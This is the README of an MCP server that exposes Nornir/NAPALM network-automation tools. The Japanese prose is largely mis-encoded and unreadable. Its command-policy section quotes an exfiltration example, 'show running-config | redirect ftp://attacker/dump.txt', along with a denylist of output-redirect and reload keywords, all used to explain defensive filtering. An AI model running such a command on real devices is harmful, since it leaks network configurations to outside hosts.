ð Nornir MCP Server
ãªã¢ãŒãð Nornir MCP Server ã«ã€ããŠ
Nornir MCP Serverã¯ãNornirãšNAPALMã«ãããããã¯ãŒã¯èªååæ©èœãMCPã¯ã©ã€ã¢ã³ãã«å ¬éããŸãã䞊è¡ãããã«ããã³ããŒæ©åšæäœã«ãæ§é ååºåãšèšå®å¯èœãªã³ãã³ãå¶éãçµã¿åãããŠããŸãã
äž»ãªæ©èœ
- 01ãã«ããã³ããŒæ©åšã®äžŠè¡æäœ
- 02NAPALMã®æ å ±ååŸãšãããã¯ãŒã¯ã³ãã³ã
- 03ã€ã³ãã³ããªãŒãšãã¹ãã®ç®¡ç
- 04Pydanticã¹ããŒãã«ããæ§é ååºå
- 05èš±å¯ãªã¹ãåªå ã®ã³ãã³ãããªã·ãŒ
掻çšã·ãŒã³
- 01è€æ°æ©åšã®ãã¡ã¯ããšã€ã³ã¿ãŒãã§ãŒã¹æ å ±ã®åé
- 02èš±å¯ãããã³ãã³ããpingãtracerouteã®å®è¡
- 03MCPããŒã«çµç±ã§ã®ãããã¯ãŒã¯ã€ã³ãã³ããªãŒç®¡ç
MCP 察å¿
`/mcp`ã®streamable HTTPãéããŠãNornirãšNAPALMã®ãããã¯ãŒã¯æäœãMCPããŒã«ãšããŠå ¬éããŸããMCPã¯ã©ã€ã¢ã³ãã¯æ©åšæ å ±ååŸãã³ãã³ããã€ã³ãã³ããªãŒã®ããŒã«ãå©çšã§ããŸãã
èšå®
ãªã¢ãŒããµãŒããŒã¯ã€ã³ã¹ããŒã«äžèŠã§ããã¯ã©ã€ã¢ã³ããéžãã§èšå®ãã³ããŒããããã¯ã³ã¯ãªãã¯ã§å°å ¥ã§ããŸãã
http://YOUR_SERVER_IP:8000/sseclaude mcp add --transport sse nornir_mcp http://YOUR_SERVER_IP:8000/sse{"mcpServers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}Cursor ã§éã{"servers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}VS Code ã§éã{"mcpServers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}{"mcpServers":{"nornir_mcp":{"serverUrl":"http://YOUR_SERVER_IP:8000/sse"}}}ã³ãã³ãã¯ã¿ãŒããã«ã§å®è¡ããJSON ã¯åã¯ã©ã€ã¢ã³ãã® MCP èšå®ã«è²Œãä»ããŠåèµ·åããŸããèªå¯ãå¿ èŠãªãµãŒããŒã¯ååæ¥ç¶æã«ãã°ã€ã³ãæ±ããŸãã
ããŒã«
詳现
ð Nornir MCP Server
å
¬åŒã® MCP Python SDK v2 ã® MCPServer ã¯ã©ã¹ãåºç€ãšããŠæ§ç¯ãããNornir ãš NAPALM ãæŽ»çšãããããã¯ãŒã¯èªååããŒã«ãæäŸãã MCP ãµãŒããŒã§ãã
ãã®ãµãŒããŒã¯ããªããžãšããŠæ©èœããNornirïŒNAPALM ã®ãããã¯ãŒã¯æäœã MCPïŒModel Context ProtocolïŒããŒã«ãšããŠå ¬éããããšã§ãäºææ§ã®ãã MCP ã¯ã©ã€ã¢ã³ãããç°¡åã«å©çšã§ããããã«ããŸãã
âš äž»ãªæ©èœ
- 䞊è¡åŠçãšãã«ããã³ããŒå¯Ÿå¿ïŒNornir ã«ããã€ã³ãã³ããªãŒç®¡çãšãNAPALM ã䜿çšãããããã¯ãŒã¯ããã€ã¹ãžã®äžŠè¡ã¿ã¹ã¯å®è¡ã掻çšãããã«ããã³ããŒã«å¯Ÿå¿ããŸãã
- æ¡åŒµãããããŒã«ã»ããïŒå¹
åºã NAPALM ã²ãã¿ãŒïŒ
get_factsãget_interfacesïŒãå®è¡ã³ãã³ãïŒsend_commandãpingãtracerouteïŒãã€ã³ãã³ããªãŒç®¡çïŒlist_all_hostsïŒãªã©ã20 çš®é¡ä»¥äžã®ããŒã«ãæäŸããŸãã - æ§é åããããããŒã¯ã³å¹çã®é«ãåºåïŒ
send_commandã¯ããã©ãããã©ãŒã ãšã³ãã³ãã«å¯Ÿå¿ãããã³ãã¬ãŒããååšããå Žåãçã® CLI ããã¹ãã§ã¯ãªããntc-templates ã§è§£æããæ§é åããŒã¿ïŒèŸæžã®ãªã¹ãïŒãè¿ããŸããLLM ã«ãšã£ãŠèªã¿åãã³ã¹ããå€§å¹ ã«æããããŸãããã³ãã¬ãŒãããªãå Žåã¯ãèªåçã«çããã¹ãã«ãã©ãŒã«ããã¯ããŸãããã®æ©èœã¯ãNAPALM ãã©ã€ããŒã Netmiko ããŒã¹ã®ãã©ãããã©ãŒã ïŒiosãnxos_sshãiosxrãªã©ïŒã«ã®ã¿é©çšãããŸããeAPIïŒNETCONF ããŒã¹ã®ãã©ã€ããŒïŒeosãjunosãªã©ïŒã§ã¯åžžã«çããã¹ããè¿ãããŸããsend_command㯠SSH ã®åºåãã£ã«ã¿ãŒãã€ãïŒ| include ...ã| section ...ã| begin ...ãªã©ïŒã«ã察å¿ããŠãããããåºåãã¢ãã«ã«å±ãåã«ããã€ã¹åŽã§çµã蟌ããŸãã詳现ã¯ã³ãã³ãå®è¡ãšã»ãã¥ãªãã£ããªã·ãŒãåç §ããŠãã ããã- ãã¹ãŠã® NAPALM ã²ãã¿ãŒããŒã«ïŒ
get_factsãget_interfacesãªã©ïŒã¯ãMCP ã®structured_output=Trueã䜿çšã㊠Pydantic ã®æ»ãå€ã¢ãã«ã宣èšãããããã¯ã©ã€ã¢ã³ã㯠docstring ã ãã§ã¯ãªããå®éã® JSON Schema ãååŸã§ããŸãã詳现ã¯MCP ãããã³ã«ã®æ©èœãåç §ããŠãã ããã
- å ç¢ãªå ¥åæ€èšŒïŒPydantic ã¢ãã«ã䜿çšããŠãããŒã«ã«æž¡ããããã¹ãŠã®ããŒã¿ãæ€èšŒããŸããããã«ãããåå®å šæ§ã確ä¿ããç¡å¹ãªå ¥åã«ãããšã©ãŒãé²ããŸãã
- å®å
šãªã³ãã³ãå®è¡ïŒ
send_commandã¯èšå®å¯èœãªã³ãã³ãããªã·ãŒïŒconf/command_policy.yamlïŒã§å¶åŸ¡ãããŸããèš±å¯ãªã¹ãã«ç»é²ãããèªã¿åãå°çšã®åè©ïŒshowãpingãªã©ïŒãæåã«ç¢ºèªããããã«æåŠãªã¹ãïŒå®å šäžèŽã³ãã³ããããŒã¯ãŒããæ£èŠè¡šçŸãã¿ãŒã³ïŒãé©çšããããšã§ãèš±å¯ãããåè©ã®åŸã«çŽã蟌ãŸããå±éºãªã³ãã³ãã«ãå€å±€é²åŸ¡ã§å¯ŸåŠããŸãã - ã³ã³ãããŒåãããé«éïŒã»ããã¢ãããç°¡åã«ãããã Docker ð³ ã§ã³ã³ãããŒåãããŠãããã³ã³ãããŒå
ã® Python äŸåé¢ä¿ã®ç®¡çã«ã¯ãéåžžã«é«éãª
uvâ¡ ã䜿çšããŸãã
ð§ åææ¡ä»¶
éå§ããåã«ã以äžãã€ã³ã¹ããŒã«ãããŠããããšã確èªããŠãã ããã
- Docker
- Docker ComposeïŒé垞㯠Docker Desktop ã«å«ãŸããŠããŸãïŒ
âïž èšå®
ãµãŒããŒãå®è¡ããåã«ããããã¯ãŒã¯ã€ã³ãã³ããªãŒãšããã€ã¹ã®èªèšŒæ å ±ãå¿ ãèšå®ããŠãã ããã
- ãããžã§ã¯ãå
ã®
conf/ãã£ã¬ã¯ããªãŒã«ç§»åããŸãã hosts.yamlãç·šéããŸãïŒç®¡ç IPããã©ãããã©ãŒã ãèªèšŒæ å ±ãã°ã«ãŒããªã©ããããã¯ãŒã¯ããã€ã¹ãå®çŸ©ããŸããgroups.yamlãç·šéããŸãïŒå ±éã®ããããã£ãæã€ããã€ã¹ã°ã«ãŒããå®çŸ©ããŸããdefaults.yamlãç·šéããŸãïŒããã©ã«ãã®èªèšŒæ å ±ãšæ¥ç¶ãªãã·ã§ã³ãèšå®ããŸãã- â ïž ã»ãã¥ãªãã£ã«é¢ããéèŠãªæ³šæäºé ïŒ æ¬çªç°å¢ã§ã¯ãYAML ãã¡ã€ã«ã«å¹³æã®èªèšŒæ å ±ãä¿åããªããããNornir ã®ã·ãŒã¯ã¬ããç®¡çæ©èœã®å©çšãåŒ·ãæ€èšããŠãã ããã
command_policy.yamlã確èªããŸãïŒã»ãã¥ãªãã£ããªã·ãŒã«åãããŠãallowed_prefixesïŒsend_commandãåãä»ããèªã¿åãå°çšã®åè©ïŒãšæåŠãªã¹ãã®é ç®ïŒãããã¯ããã³ãã³ãïŒãã¿ãŒã³ïŒãã«ã¹ã¿ãã€ãºããŸãã2 ã€ã®ã¬ã€ã€ãŒã®é£æºã«ã€ããŠã¯ãã³ãã³ãå®è¡ãšã»ãã¥ãªãã£ããªã·ãŒãåç §ããŠãã ããã
ãžã£ã³ããã¹ãïŒèžã¿å°ãçµç±ããããã€ã¹ãžã®æ¥ç¶
Linux/macOS ã§ã¯ã³ãŒãã®å€æŽã¯äžèŠã§ããNAPALM ã® SSH ããŒã¹ã®ãã©ã€ããŒïŒiosãnxos_sshãiosxr ãªã©ïŒã¯å
éšã§ Netmiko ãã©ããããŠãããNetmiko ã¯æšæºç㪠OpenSSH èšå®ãã¡ã€ã«ã® ProxyJumpïŒProxyCommand ãã£ã¬ã¯ãã£ãã«ãã€ãã£ãã§å¯Ÿå¿ããŠããŸããèšå®ãã¡ã€ã«ãæå®ããã°ããžã£ã³ããã¹ãçµç±ã§ããã€ã¹æ¥ç¶ãèªåçã«ãã³ããªã³ã°ãããŸãã
conf/ssh_config.exampleãconf/ssh_configã«ã³ããŒããŸãïŒgitignore ã®å¯Ÿè±¡ã§ããå éšãã¹ãåããããã·ã®ããããžãŒãæããã«ãªãå¯èœæ§ããããŸãïŒãå®éã«äœ¿çšãããžã£ã³ããã¹ããèšå®ããŠãã ãããdefaults.yamlïŒãŸãã¯ç¹å®ã®groups.yamlïŒhosts.yamlãšã³ããªãŒïŒã§èšå®ãã¡ã€ã«ãæå®ããŸããconnection_options: napalm: extras: optional_args: ssh_config_file: conf/ssh_config
Netmiko ã® ProxyJump 察å¿ã¯ã·ã³ã°ã«ãããã®ã¿ã§ãïŒã«ã³ãåºåãã®ãã«ãããããã§ãŒã³ãæå®ãããšãšã©ãŒã«ãªããŸãïŒãå®éã®ãã«ããããçµè·¯ã«ã¯ã代ããã« ssh -J hop1,hop2 -W %h:%p ... ã䜿ã£ã ProxyCommand ã䜿çšããŠãã ãããconf/ssh_config.example ã«ãã 2 ã€ã®äŸãåç
§ããŠãã ããã
ãžã£ã³ããã¹ãèªäœã® SSH ããŒã known_hosts ã¯ããã®ãµãŒããŒãå®éã«åäœãããã·ã³äžã§èšå®ããå¿ èŠããããŸãããã㯠OS ã¬ãã«ã® SSH èšå®ã§ããããã®ãããžã§ã¯ãã管çãããã®ã§ã¯ãããŸããã
â ïž æ¢ç¥ã®å¶éäºé â Windows ãã€ãã£ãç°å¢ã§çŽæ¥å®è¡ããå ŽåïŒ ãã®ãµãŒããŒã Windows ãã€ãã£ãã® Python ã€ã³ã¿ãŒããªã¿ãŒã§çŽæ¥å®è¡ãããšã
ssh_config_fileã«åºã¥ããžã£ã³ããã¹ãã¯åäœããŸããïŒãµããŒãå¯Ÿè±¡ã®æ¬çªç°å¢ã§ããããã®åé¡ã®åœ±é¿ãåããªã Linux ããŒã¹ã® Docker ã€ã¡ãŒãžå ã§å®è¡ããå Žåã¯è©²åœããŸããïŒãå®éã®ããã€ã¹ã䜿ã£ãŠæ€èšŒããåé¡ã®åå ãæšæž¬ã§åé¿ããã®ã§ã¯ãªããé¢ä¿ãã 2 ã€ã®ã©ã€ãã©ãªãŸã§ç¹å®ããŸããã
- Netmiko ã®
_use_ssh_config()ã¯os.path.abspath()ã䜿ã£ãŠ ssh_config ã®ãã¹ã解決ããŸããWindows ã§ã¯ãèšå®ã§ãã¹ãã©ã®ããã«èšè¿°ããŠããåžžã«ããã¯ã¹ã©ãã·ã¥åºåãã®ãã¹ãè¿ãããŸãïŒäŸïŒC:\Users\me\nornir_mcp\conf\ssh_configïŒã- ãã®ãã¹ã¯
ProxyCommandæååïŒssh -F <path> -W host:port hopïŒã«åã蟌ãŸããŸããæ¬¡ã« Paramiko ã®ProxyCommandã POSIX ã¢ãŒãã®shlex.split()ã§è§£æããŸãããã®ã¢ãŒãã§ã¯\ããšã¹ã±ãŒãæåã®ãããããã¯ã¹ã©ãã·ã¥ããã¹ãŠé»ã£ãŠåé€ãããŸãïŒC:\Users\me\...\ssh_configâC:Usersme...sshconfigïŒããã®çµæãååšããªããã¹ãçæãããæ¥ç¶ã«å€±æããŸãããã®åé¡ã¯å¿ ãçºçããŸãã
abspath()ãšshlex.split()ã¯å ¥åã«ããããããã®ããã«åäœãããããconf/ssh_configãhosts.yamlã倿ŽããŠãåé¿ã§ããŸãããWindows ãã€ãã£ãç°å¢ãããžã£ã³ããã¹ãçµç±ã®æ¥ç¶ããã¹ãããå¿ èŠãããå Žåã®åé¿çïŒDocker çµç±ã§ãããã€ããå Žåã¯äžèŠã§ãïŒïŒ
- æåã§ SSH ããŒã«ã«ããŒããã©ã¯ãŒããèšå®ãïŒ
ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>ïŒãssh_config_fileã¯äžå䜿ãããhosts.yamlã§127.0.0.1:<local_port>ãçŽæ¥æå®ããŸãã- ãŸãã¯ãããŒã«ã«éçºæããµãŒããŒã DockerïŒWSL2 å ã§å®è¡ããŸãããã¹ã POSIX 圢åŒã«ãªãããããã®åé¡ã¯çºçããŸããã
â¶ïž ãµãŒããŒã®å®è¡
èšå®ãå®äºããããDocker Compose ã䜿ã£ãŠç°¡åã«ãµãŒããŒãå®è¡ã§ããŸãã
docker-compose up --build -d
ãã®ã³ãã³ãã¯ããã¹ããã·ã³ã®ããŒã 8000 ã§ã¢ã¯ã»ã¹ã§ãã Nornir MCP ãµãŒããŒã Docker ã³ã³ããå
ã§èµ·åããŸããã³ã³ããã¯çŸåšãéçºã¢ãŒããšæ¬çªã¢ãŒãã®äž¡æ¹ã«å¯Ÿå¿ãã run.py ããšã³ããªãŒãã€ã³ããšããŠäœ¿çšããŸãã
Docker ã䜿ããã«ãµãŒããŒãããŒã«ã«ã§å®è¡ããã«ã¯ã次ã䜿çšããŸãã
python run.py --dev
ãŸãã¯ãåã«æ¬¡ãå®è¡ããŸãã
python run.py
ããã©ã«ãã§ã¯ããµãŒããŒã¯ 127.0.0.1:8000 ã§èµ·åããŸããä»ã®ãã·ã³ããã¢ã¯ã»ã¹ã§ããããã«ããå¿
èŠãããå Žåã¯ã--host 0.0.0.0 ãæç€ºçã«æå®ããŠãã ããïŒãã®ãµãŒããŒã¯å®éã®ããã€ã¹ã«èšå®ãããã·ã¥ãããã³ãã³ããå®è¡ãããã§ãããããããã©ã«ãã§ã¯ãã¹ãŠã®ã€ã³ã¿ãŒãã§ãŒã¹ã§ãªãã¹ã³ããŸããïŒã
ð MCP ã¯ã©ã€ã¢ã³ãã®æ¥ç¶æ¹æ³
ãã®ãããžã§ã¯ãã¯ãstreamable-http ãã©ã³ã¹ããŒãã䜿çšããŠãHTTP çµç±ã§ MCP ãµãŒããŒãå ¬éããŸãããšã³ããã€ã³ã㯠1 ã€ã§ãã
- HTTP API ãšã³ããã€ã³ãïŒ http://:/mcp
ãã©ã³ã¹ããŒããšã¯ã©ã€ã¢ã³ãã®èšå®ã«é¢ããæ³šæäºé ïŒ
- MCP ãµãŒããŒèªäœã¯ãUvicorn ãé
ä¿¡ãã HTTP ã¢ããªã±ãŒã·ã§ã³ïŒStarletteïŒã§ããstreamable-http ãã©ã³ã¹ããŒãã«å¯Ÿå¿ããã¯ã©ã€ã¢ã³ãã䜿ã£ãŠãMCP ã¯ã©ã€ã¢ã³ãã
/mcpã«çŽæ¥æ¥ç¶ããŠãã ããã - åå¥ã®
/sseãšã³ããã€ã³ãã¯ãããŸãããstreamable-http ã¯åäžã®ãšã³ããã€ã³ãã§ãå éšã§ãµãŒããŒéä¿¡ã€ãã³ãã®ã¹ããªãŒãã³ã°ã«å¯Ÿå¿ããŠããããã2 ã€ç®ã® SSE ãã¹ã¯å¿ èŠãªããå ¬éããããŸããã - éåžžã® HTTP ã¯ã©ã€ã¢ã³ãã§ã¯ããã®ãããžã§ã¯ãã stdio ã¢ãŒãã§å®è¡ããå¿ èŠã¯ãããŸããã以åèšèŒãããŠããããµãŒããŒããstdio ã¢ãŒããã§å®è¡ã㊠Supergateway ã§ãããã·ããæé ã¯ããã®ãªããžããªã®éåžžã®äœ¿ç𿹿³ãšããŠã¯æ£ç¢ºã§ã¯ãããŸããã§ããã
MCP ã¯ã©ã€ã¢ã³ãã® JSON èšå®äŸïŒHTTP/streamable-httpïŒïŒ
{
"name": "Nornir MCP (HTTP)",
"url": "http://localhost:8000/mcp",
"transport": "http"
}
ð ã³ãã³ãå®è¡ãšã»ãã¥ãªãã£ããªã·ãŒ
send_command ã¯ããªãã¬ãŒã¿ãŒãæå®ããä»»æã®ããã¹ããããã€ã¹ã«éä¿¡ããå¯äžã®ããŒã«ã§ãããããconf/command_policy.yaml ã«ãã£ãŠå¶éãããŠããŸããããã¯ãèš±å¯ãªã¹ããåªå
ãã 2 å±€ã¢ãã«ã§ãïŒæåŠãªã¹ãã®ã¿ã ã£ãæ§ conf/blacklist.yaml ã«ä»£ãããã®ã§ãïŒã
allowed_prefixesïŒèš±å¯ãªã¹ããæåã«ç¢ºèªããããå®éã®ã»ãã¥ãªãã£å¢çïŒïŒã³ãã³ãã¯ããããã®åè©ïŒããã©ã«ãã§ã¯showãdisplayãgetãpingãtracerouteïŒã®ããããã§å§ãŸãå¿ èŠããããŸããããã§ãªãå Žåããã¡ã€ã«å ã®ä»ã®èšå®ã«ãããããããã ã¡ã«æåŠãããŸããããã空ã«ãããšèš±å¯ãªã¹ãã«ããå¶éãç¡å¹ã«ãªããæåŠãªã¹ãã®ã¿ã®é©çšã«åãæ¿ãããŸãããæšå¥šãããŸãããexact_commands/keywords/disallowed_patterns/regex_patternsïŒæåŠãªã¹ãã2 çªç®ã«ç¢ºèªããããå€å±€é²åŸ¡ïŒïŒèš±å¯ãããåè©ã§å§ãŸã£ãŠããŠãããã®åŸã«å±éºãªå 容ãçŽã蟌ãã ã³ãã³ããæ€åºããŸããæåŠãªã¹ãã ãã§ã¯ã決ããŠãã¹ãŠãç¶²çŸ ã§ããŸããããã®ãµãŒããŒã®ã»ãã¥ãªãã£åŒ·åäžã«èŠã€ãããä¿®æ£ãããå®éã®æãç©Žã¯æ¬¡ã®ãšããã§ããreload in 5/reload at 02:00ããreloadã®å®å šäžèŽã®ã¿ã®ãšã³ããªãããæããŠããŸãããkeywordsã䜿ã£ãŠreloadãåèªå šäœãšããŠç §åããããä¿®æ£ããŸãããcopy run startïŒIOS ã®äžè¬çãªçç¥åœ¢ïŒããããŒã¯ãŒãcopy running-config startup-configã®å®å šäžèŽãããæããŠããŸãããæ£èŠè¡šçŸãã¿ãŒã³copy\s+run\S*\s+start\S*ã§ä¿®æ£ããŸãããshow running-config | redirect ftp://attacker/dump.txtã¯ãèš±å¯ãããåè©showã§å§ãŸããããèš±å¯ãªã¹ãã ãã§ã¯é»æ¢ã§ããŸãããåºåå ããŒã¯ãŒãïŒredirectãteeãappendãsaveïŒããããã¯ãã€ã€ã| includeã| sectionã| beginã®ãããªéåžžã®åºåãã£ã«ã¿ãªã³ã°çšãã€ãã¯èš±å¯ããããä¿®æ£ããŸããã
äžèšã®ãã¹ãŠã«ã€ããŠããŠããããã¹ãã ãã§ãªããå®éã®ããã€ã¹ã«å¯ŸããŠçšŒåäžã®èš±å¯ãªã¹ãïŒæåŠãªã¹ãã®ããžãã¯ãå®è¡ããã³ãŒããèªãã ãã§ã¯ãªãæ€èšŒããŠããŸãã
åºåãã£ã«ã¿ãªã³ã°çšãã€ã
send_command 㯠SSH ã®ãã€ãæ§æããã®ãŸãŸããã€ã¹ã«æž¡ããŸãïŒäŸïŒshow interfaces | include upïŒããã®ãããè¿ããããã€ããŒãã§ã¯ãªãããã€ã¹äžã§ãã£ã«ã¿ãªã³ã°ãè¡ãããå®å
šãª running-config ãªã©ã®å€§ããªåºåã§ã¯ããŒã¯ã³äœ¿çšéã倧å¹
ã«åæžã§ããŸããäžèšã®ããªã·ãŒã§ãããã¯ãããã®ã¯ãåºåãæžã蟌ãïŒå€éšãžæã¡åºãå®å
æå®åœ¢åŒã®ãã€ãã®ã¿ã§ããããã£ã«ã¿ãªã³ã°çšãã€ãã«ã¯åœ±é¿ããŸããã
ð§© MCP ãããã³ã«ã®æ©èœïŒv2 SDKïŒ
ãã®ãµãŒããŒã¯ãmcp[cli]==1.15.0 ã® FastMCP ãã mcp[cli]>=2.1.1 ã® MCPServer ã«ç§»è¡ããv2 ã®ã¿ã§å©çšã§ããããã€ãã®ä»çµã¿ã掻çšããŠããŸãã
- ããŒã«ã®ã¢ãããŒã·ã§ã³ïŒ
mcp.types.ToolAnnotationsïŒïŒãã¹ãŠã®ããŒã«ã§read_only_hintïŒdestructive_hintïŒidempotent_hintïŒopen_world_hintã宣èšããŠãããããã¯ã©ã€ã¢ã³ãããªãŒã±ã¹ãã¬ãŒã·ã§ã³ãæ ããšãŒãžã§ã³ãã¯ãdocstring ã確èªããã ãã§ãªãããããã³ã«ã¬ãã«ã§ç¢ºèªãæãŸãã«å®å šã«åŒã³åºããããŒã«ãå€å¥ã§ããŸããããã€ã¹ãæäœããããŒã«ïŒget_factsãsend_commandãªã©ïŒã¯ãäºåã«ç¶æ ãå®å šã«ã¯ææ¡ã§ããªãå®éã®å€éšããã€ã¹ã«åãåããããããopen_world_hint=Trueã«èšå®ããŠããŸããããŒã«ã«ã®ã¿ã§åäœããããŒã«ïŒlist_all_hostsãvalidate_paramsïŒã¯ãopen_world_hint=Falseã«èšå®ããŠããŸãã - æ§é åããŒã«åºåïŒ
@mcp.tool(structured_output=True)ïŒïŒãã¹ãŠã® NAPALM getter ããŒã«ã¯ãåãªã dict ã§ã¯ãªããPydantic ã¢ãã«ïŒDeviceTaskResultãTracerouteResultModelïŒãè¿ããŸãããã®ãããMCP ã¯ã¯ã©ã€ã¢ã³ãåãã® JSON åºåã¹ããŒããèªåçæããå®éã®æ»ãå€ãå®è¡æã«ãã®ã¹ããŒãã«ç §ãããŠå³å¯ã«æ€èšŒããŸãïŒåœ¢ç¶ãææžåããã ãã§ãªããäžèŽããªãå Žåã¯ãšã©ãŒãçºçãããŸãïŒãsend_commandãšlist_all_hostsã§ã¯ãæå³çã«ãã®æ©èœã䜿çšããŠããŸãããæ»ãå€ã®åœ¢ç¶ãå®éã«å€åããããã§ãïŒntc-templates ãšã®äžèŽæãšçããã¹ãã®å Žåãæåæãšåœ¢ç¶ã®ç°ãªããšã©ãŒ dict ã®å ŽåïŒãMCP v2 ã®å³å¯ãªå®è¡ææ€èšŒã§ã¯ãæ£åœãªåœ¢ç¶ã®å€åãæåŠãããŸãã - ãã£ãã·ã¥ãã³ãïŒ
mcp.server.caching.CacheHintïŒïŒtools/listãresources/listãresources/templates/listãprompts/listãserver/discoverã¯ãç»é²æžã¿ã®ããŒã«ïŒãªãœãŒã¹ïŒããã³ããã®ã»ãããåãããã€æã«ã®ã¿å€æŽããããããå ¬éæ å ±ãšããŠ5åéãã£ãã·ã¥å¯èœã§ããããšã瀺ããŠããŸããresources/readã«ã¯ã代ããã«æå¹æéã30ç§ã®ãã³ããèšå®ããŠããŸããããã¯ããµãŒããŒã®å®è¡äžã«conf/å ã® YAML ãç·šéãããšããªãœãŒã¹ã®å 容ïŒã€ã³ãã³ããªãããããžãŒïŒãå€ããå¯èœæ§ãããããã§ãã - ãªãœãŒã¹ã®ã»ãã¥ãªãã£ïŒãã¡ã€ã«ãåç §ãããªãœãŒã¹ã§ã¯ããã©ã«ãã§æå¹ïŒïŒãªãœãŒã¹ URI ã®è§£æ±ºæã«ããã¹ãã©ããŒãµã«ã絶察ãã¹ããã«ãã€ãã¯èªåçã«æåŠãããŸããSDK ã®ããã©ã«ããæšæž¬ã§ä¿¡é Œããã®ã§ã¯ãªããå®éã«æ€èšŒããŠããŸãã
- æªäœ¿çš â MCP ãã®ã³ã°æ©èœïŒ
Context.info()ïŒ.warning()ïŒïŒãã®ãµãŒããŒã§ã¯ãMCP ã®ContextããŒã¹ã®ãããã³ã«ãã®ã³ã°ã§ã¯ãªããæšæºã®loggingã¢ãžã¥ãŒã«ã䜿ã£ãŠããŒã«ã«ã«ãã°ãèšé²ããŸãããã® MCP æ©èœã¯ã2026-07-28 ã®ä»æ§æ¹èšïŒSEP-2577ãOpenTelemetry ã«çœ®ãæãïŒã§éæšå¥šã«ãªããŸãããéçºäžã«è©Šããéãå®è¡æã«å®éã«MCPDeprecationWarningãçºçããããšã確èªããŠããŸããéæšå¥š API ã®èåŸã«æ®ãã®ã§ã¯ãªããåé€ããŸããã - æªäœ¿çš â é²æå ±åïŒãªãœãŒã¹æŽæ°éç¥ïŒè©äŸ¡ããããã§ãæå³çã«æ¡çšããŠããŸããããã®ãµãŒããŒã®åããŒã«ã¯ã1åã®åæ Nornir ã¿ã¹ã¯å®è¡ã§1å°ã®ããã€ã¹ãæäœããŸãïŒè€æ°ã³ãã³ããæ±ã
send_commandãå«ã¿ãŸããéåæã¬ã€ã€ãŒã®åŒã³åºããã«ãŒãããã®ã§ã¯ãªãã1ã€ã®ã¿ã¹ã¯å ã§åŠçãããŸãïŒããã®ãããNornir ã®ãæ¥ç¶ããšã«1ã¿ã¹ã¯ããšããã¢ãã«ã厩ããã«é²æãå ±åã§ããèªç¶ãªäžéç¹ããããŸãããsend_commandãã³ãã³ãããšã®éåæã¬ã€ã€ãŒåŒã³åºãã«åå²ãããšãæ¥ç¶ãåå©çšãã代ããã«ã³ãã³ãããšã«æ°ãã SSH æ¥ç¶ã確ç«ããããšã«ãªãããã®ãµãŒããŒã§äžè¬çãªãåäžããã€ã¹ã«å¯Ÿããå°æ°ã³ãã³ãããšããå©çšã§ã¯é©çšãããªãããŒã¯ã³ïŒUXäžã®å©ç¹ã®ããã«ãå®éã®ããã©ãŒãã³ã¹äœäžãæããŸãã
ð§ ããã³ããïŒã«ã¹ã¿ã ããã³ãã颿°ïŒ
ãã®ãµãŒããŒã§ã¯ãã¡ãã»ãŒãžã®ãªã¹ãïŒMCP ããã³ãã圢åŒïŒãè¿ãã«ã¹ã¿ã ããã³ãã颿°ãç»é²ã§ããŸããããã³ããã䜿ããšãMCP ã¯ã©ã€ã¢ã³ãã LLM é§åã®ãšãŒãžã§ã³ããååä»ãããã³ãããšããŠåŒã³åºããäŒè©±å
¥åãäºåã«å®çŸ©ã§ããŸããMCP Python SDK ã® MCPServer ã¯ã©ã¹ã«ã¯ã颿°ãç»é²ããããã® @server.prompt() ãã³ã¬ãŒã¿ãŒãçšæãããŠããŸãã
äž»ãªæ©èœïŒ
@server.prompt()ã䜿ã£ãŠãåæãŸãã¯éåæã®ããã³ãã颿°ãç»é²ã§ããŸãã- å¿
èŠã«å¿ããŠ
nameãtitleãdescriptionãæå®ããMCP ã¯ã©ã€ã¢ã³ãããããã³ãããèŠã€ããããã§ããŸãã - ãªãœãŒã¹åç §ãå«ãæ§é åã¡ãã»ãŒãžãè¿ããŸãïŒãã¡ã€ã«ã®å 容ãã€ã³ãã³ããªã®æç²ãè¿ãå Žåã«äŸ¿å©ã§ãïŒã
ããã³ããã®è¿œå æ¹æ³ïŒäŸïŒïŒ
@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
hosts = nr_mgr.list_hosts()
return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]
ãªãœãŒã¹ã䜿ã£ãéåæã®äŸïŒ
@server.prompt()
async def show_topology() -> list:
topo = await server.read_resource("resource://topology")
return [{"role": "user", "content": {"type": "resource", "resource": topo}}]
䜿çšäžã®æ³šæïŒ
- ããã³ãããç»é²ãããšãã¯ã©ã€ã¢ã³ã㯠MCP ã®
ListPromptsãªã¯ãšã¹ãã§ããã³ãããæ€åºããååã§åŒã³åºããŸãã - ããã³ãã颿°ã¯è»œéãã€æ±ºå®çã«ä¿ã¡ãé·æéå®è¡ãããåŠçãããã³ããå ã§è¡ããªãã§ãã ãããããã€ã¹ããããŒã¿ãåéããå¿ èŠãããå Žåã¯ãããŒã«ãç»é²ããŠããã³ããããåŒã³åºãããã¯ã©ã€ã¢ã³ããååŸã§ããçããªãœãŒã¹åç §ãè¿ãããšãæ€èšããŠãã ããã
ã»ãã¥ãªãã£ïŒ
- ããã³ããã¯ãµãŒããŒããã»ã¹å ã§å®è¡ãããŸããããã³ãã颿°å ã§ã¯ãå®å šã§ãªããã¡ã€ã«æäœãä¿¡é Œã§ããªãã³ãŒãã®å®è¡ãè¡ããªãã§ãã ããã
ðŠ æåïŒããŒã«ã«ã€ã³ã¹ããŒã«
ã¯ã€ãã¯ã¹ã¿ãŒã â DockerïŒæšå¥šïŒ
- docker-compose ã§ãã«ãããŠå®è¡ããŸãïŒãªããžããªã®ã«ãŒãããå®è¡ïŒïŒ
docker-compose up --build -d
ããã«ãããã³ã³ãããŒå ã§ãµãŒããŒãèµ·åããããã©ã«ãã§ããŒã 8000 ãå ¬éãããŸãã
ã¯ã€ãã¯ã¹ã¿ãŒã â ããŒã«ã«
- ä»®æ³ç°å¢ãäœæããŠæå¹åããŸãã
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
- å®è¡æã®äŸåé¢ä¿ãã€ã³ã¹ããŒã«ããŸãïŒäŸïŒïŒ
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
